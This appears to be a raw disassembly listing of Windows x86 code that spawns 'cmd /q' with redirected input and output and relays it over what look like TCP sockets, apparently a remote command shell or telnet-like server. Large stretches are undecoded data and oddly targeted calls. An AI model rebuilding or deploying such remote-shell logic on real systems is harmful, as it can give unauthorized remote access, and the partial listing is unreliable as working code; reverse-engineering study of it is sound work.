lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1F
add esp, 10h
test eax, eax
jnz short loc_410957
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CB6A4
push dword ptr [esi]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push edi
nop
call near ptr 2710000h
loc_410957: ; CODE XREF: ___:0041090Cj
; ___:0041092Dj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434818
call sub_415221
push dword ptr [ebp+8]
call sub_410CD6
add esp, 10h
test eax, eax
jnz short loc_41099E
call near ptr 26B0857h
nop
push eax
push offset unk_4347EC
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 0Ch
push ebx
nop
call near ptr 2710000h
loc_41099E: ; CODE XREF: ___:00410979j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4347C0
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 10h
push edi
nop
call near ptr 2710000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C5 proc near ; CODE XREF: ___:0041085Ap
; ___:00410867p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C
cmp eax, 1
jnz short loc_410A15
mov esi, [ebp+arg_4]
loc_4109E3: ; CODE XREF: sub_4109C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A0A
test al, al
jz short loc_410A19
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C
cmp eax, 1
jz short loc_4109E3
jmp short loc_410A15
; ---------------------------------------------------------------------------
loc_410A0A: ; CODE XREF: sub_4109C5+27j
push offset unk_434880
call sub_415221
pop ecx
loc_410A15: ; CODE XREF: sub_4109C5+19j
; sub_4109C5+43j
xor eax, eax
jmp short loc_410A1C
; ---------------------------------------------------------------------------
loc_410A19: ; CODE XREF: sub_4109C5+2Bj
push 1
pop eax
loc_410A1C: ; CODE XREF: sub_4109C5+52j
pop esi
leave
retn
sub_4109C5 endp
; =============== S U B R O U T I N E =======================================
sub_410A1F proc near ; CODE XREF: ___:00410923p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A4A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4348AC
call sub_415221
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A4A: ; CODE XREF: sub_410A1F+11j
push 1
pop eax
retn
sub_410A1F endp
; ---------------------------------------------------------------------------
word_410A4E dw 8B55h ; DATA XREF: sub_401ACD+23D5o
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4CB5C4h, 0C63BF633h, 68501D74h
dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
dd 59E89057h, 57022FF5h, 410CCC68h, 18DE800h, 85900239h
dd 902975C0h, 29FD9AE8h, 0D8685002h, 0E8004349h, 4759h
dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 21E85759h
dd 90022FF5h, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
dd 15FF5350h, 4CB680h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 4CB67Ch, 850FC085h, 103h, 43499C68h, 0F045C700h, 0Ch
dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h, 234h, 83B44D8Bh
dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
dd 4107C068h, 0F0458D00h, 0E5E85056h, 900229F3h, 69B84D8Bh
dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
dd 0FFFFFF37h, 5E8326Ah, 90022903h, 0E890EDEBh, 229FC0Fh
dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h, 15FF087Dh
dd 4CB5E8h, 0EC858D50h, 68FFFFFBh, 4348E4h, 0AC14E850h
dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h, 0B6EC15FFh
dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
dd 59FFFFA7h, 35E89056h, 5B022FF3h, 4439C033h, 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD6 proc near ; CODE XREF: ___:0041096Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E27
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E59C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D41
nop
call near ptr 26B0857h
push eax
push offset unk_434A7C
call sub_415221
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7B
; ---------------------------------------------------------------------------
loc_410D41: ; CODE XREF: sub_410CD6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AB
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D82
nop
call near ptr 26B0857h
push eax
push offset unk_434A7C
call sub_415221
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 26C06DDh
loc_410D7B: ; CODE XREF: sub_410CD6+69j
xor eax, eax
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410D82: ; CODE XREF: sub_410CD6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 27A0EB1h
sub eax, ebx
jz short loc_410DDC
dec eax
jz short loc_410DD6
dec eax
jz short loc_410DC2
nop
call near ptr 26B0857h
push eax
push offset unk_434A48
call sub_415221
pop ecx
pop ecx
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DC2: ; CODE XREF: sub_410CD6+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DD6: ; CODE XREF: sub_410CD6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DE0
; ---------------------------------------------------------------------------
loc_410DDC: ; CODE XREF: sub_410CD6+CFj
push ebx
push dword ptr [esi+14h]
loc_410DE0: ; CODE XREF: sub_410CD6+104j
nop
call near ptr 26C06DDh
push 1
push dword ptr [esi+8]
nop
call near ptr 2730B4Dh
loc_410DF1: ; CODE XREF: sub_410CD6+EAj
; sub_410CD6+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB6EC
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E22: ; CODE XREF: sub_410CD6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F11
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E8A
nop
call near ptr 26B0857h
push eax
push offset unk_434B2C
jmp short loc_410EAA
; ---------------------------------------------------------------------------
loc_410E8A: ; CODE XREF: sub_410E27+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB2
nop
call near ptr 26B0857h
push eax
push offset unk_434AEC
loc_410EAA: ; CODE XREF: sub_410E27+61j
call sub_415221
pop ecx
jmp short loc_410EE0
; ---------------------------------------------------------------------------
loc_410EB2: ; CODE XREF: sub_410E27+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F20
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F15
push offset unk_434AC4
call sub_4151AD
loc_410EE0: ; CODE XREF: sub_410E27+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEC
push [ebp+var_4]
call edi
loc_410EEC: ; CODE XREF: sub_410E27+BEj
cmp [ebp+var_8], 0
jz short loc_410EF7
push [ebp+var_8]
call edi
loc_410EF7: ; CODE XREF: sub_410E27+C9j
mov eax, [esi]
test eax, eax
jz short loc_410F00
push eax
call edi
loc_410F00: ; CODE XREF: sub_410E27+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F0A
push eax
call edi
loc_410F0A: ; CODE XREF: sub_410E27+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F11: ; CODE XREF: sub_410E27+1Dj
xor eax, eax
jmp short loc_410F1B
; ---------------------------------------------------------------------------
loc_410F15: ; CODE XREF: sub_410E27+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1B: ; CODE XREF: sub_410E27+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F20 proc near ; CODE XREF: sub_410E27+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2740000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 2690C14h
test eax, eax
jz short loc_410FDC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E598[eax], ecx
call near ptr 2690934h
nop
jmp short loc_410FF2
; ---------------------------------------------------------------------------
loc_410FDC: ; CODE XREF: sub_410F20+9Aj
call near ptr 26B0857h
nop
push eax
push offset unk_434B6C
call sub_415221
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF2: ; CODE XREF: sub_410F20+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411022: ; CODE XREF: sub_410FF9+8Fj
call ebx
test eax, eax
jz short loc_41108A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105D
loc_411033: ; CODE XREF: sub_410FF9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104D
cmp dl, 0Dh
jz short loc_41104D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104D: ; CODE XREF: sub_410FF9+44j
; sub_410FF9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411033
loc_41105D: ; CODE XREF: sub_410FF9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4
test eax, eax
jle short loc_41108A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411022
; ---------------------------------------------------------------------------
loc_41108A: ; CODE XREF: sub_410FF9+2Dj
; sub_410FF9+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A6
call esi
push eax
push offset dword_434BAC
call sub_415221
pop ecx
pop ecx
loc_4110A6: ; CODE XREF: sub_410FF9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AB proc near ; DATA XREF: sub_410CD6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C4: ; CODE XREF: sub_4110AB+39j
; sub_4110AB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB66C
test eax, eax
jle loc_4111C9
cmp [ebp+var_10], ebx
jbe short loc_4110E6
dec [ebp+var_10]
jmp short loc_4110C4
; ---------------------------------------------------------------------------
loc_4110E6: ; CODE XREF: sub_4110AB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411156
cmp al, 7Fh
jz short loc_411156
cmp al, 3
jnz short loc_411111
push ebx
push ebx
call near ptr 27B0000h
nop
jmp short loc_41117D
; ---------------------------------------------------------------------------
loc_411111: ; CODE XREF: sub_4110AB+5Aj
cmp al, 15h
jnz short loc_411133
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411133: ; CODE XREF: sub_4110AB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_41116A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411156: ; CODE XREF: sub_4110AB+52j
; sub_4110AB+56j
cmp esi, ebx
jbe short loc_411180
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411169: ; CODE XREF: sub_4110AB+86j
; sub_4110AB+A9j
pop ecx
loc_41116A: ; CODE XREF: sub_4110AB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4
test eax, eax
jle short loc_4111C9
loc_41117D: ; CODE XREF: sub_4110AB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411180: ; CODE XREF: sub_4110AB+ADj
cmp al, 0Dh
jnz loc_4110C4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 2720000h
test eax, eax
jz short loc_4111C9
xor esi, esi
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111A9: ; CODE XREF: sub_4110AB+47j
cmp [ebp+var_C], ebx
jnz short loc_4111BA
mov [ebp+var_C], 1
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111BA: ; CODE XREF: sub_4110AB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111C9: ; CODE XREF: sub_4110AB+2Bj
; sub_4110AB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AB endp
; ---------------------------------------------------------------------------
word_4111CE dw 8B55h ; DATA XREF: sub_401ACD+2C08o
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
dd 0B8895300h, 43E59Ch, 50EC458Dh, 8015FF57h, 85004CB6h
dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
dd 0FD2C858Dh, 0BC68FFFFh, 500042BFh, 0A605E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
dd 0A599E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF9DFBh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 13D36850h, 56560041h
dd 0ECD6E890h, 4D8B0229h, 34C969C8h, 3B000002h, 0A48189C6h
dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0FBF6E890h
dd 0EDEB0228h, 0F501E890h, 8D500229h, 0FFFD2C85h, 4C1C68FFh
dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
dd 59FFFFA0h, 31E85659h, 90022FECh, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E59Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
dd 0FFFF9FC7h, 0E8905359h, 22FEBACh, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 4CB66C15h, 7FC08500h, 0FF36FF18h
dd 4CB6EC15h, 875FF00h, 0FF9F96E8h, 905359FFh, 2FEB7BE8h
dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh, 400h, 0FB38858Dh
dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
dd 0EAE6E853h, 6A90022Fh, 0E8458D10h, 69E85053h, 660000A0h
dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh, 8B004CB6h
dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h, 8D022FEAh
dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
dd 5359FFFFh, 0E9DEE890h, 68022Fh, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F4FE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B6A415FFh
dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
dd 0FF022FE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
dd 69E89053h
db 0E9h, 2Fh, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AD: ; CODE XREF: ___:0041175Cj
; ___:0041178Cj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C5: ; CODE XREF: ___:004116D3j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C5
loc_4116D5: ; CODE XREF: ___:004116CAj
cmp ecx, 1
jnz short loc_4116EA
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116EA: ; CODE XREF: ___:004116D8j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB63C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB540
test eax, eax
jz short loc_41174A
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_411792
loc_41174A: ; CODE XREF: ___:0041171Cj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB540
test eax, eax
jz loc_4116AD
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz loc_4116AD
loc_411792: ; CODE XREF: ___:00411731j
; ___:00411748j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_411797 db 55h ; DATA XREF: sub_401ACD+210Eo
; sub_40BACE+106o
dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
dd 0F08B004Ch, 75FFFE83h, 1906856h, 59E80000h, 900228F7h
dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022FE7h, 46AF045h
dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
dd 234C069h, 89530000h, 43E59CB0h, 0D4458D00h, 9D16E850h
dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
dd 83004CB6h, 1975FFF8h, 138868h, 91E89000h, 0FF0228F6h
dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
dd 190h, 28F65FE8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh, 858DFFFFh
dd 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h, 0FF9AF6E8h
dd 1CC483FFh, 0D9E89053h, 8B022FE6h, 9F39087Dh, 2A0h, 295840Fh
dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h
dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
